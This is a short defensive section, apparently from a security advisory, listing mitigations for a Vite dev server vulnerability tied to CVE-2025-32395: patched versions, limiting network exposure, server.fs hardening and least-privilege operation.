## Defense Measures

1. **Update Vite Immediately**:
   - Upgrade to 6.2.6+, 6.1.5+, 6.0.15+, 5.4.18+, or 4.5.13+

2. **Limit Network Exposure**:
   - Do not use Vite's dev server in production environments
   - Avoid using `--host` or `server.host` configuration options
   - If exposure is necessary, use a firewall to restrict access IPs

3. **Configuration Hardening**:
   - Use `server.fs.strict: true`
   - Explicitly configure `server.fs.allow` and `server.fs.deny` lists
   - Consider using `server.fs.deny: ['**']` to completely block filesystem access

4. **Runtime Security**:
   - Consider running Vite on Deno instead of Node/Bun (based on findings from CVE-2025-32395)
   - Run the Vite service following the principle of least privilege
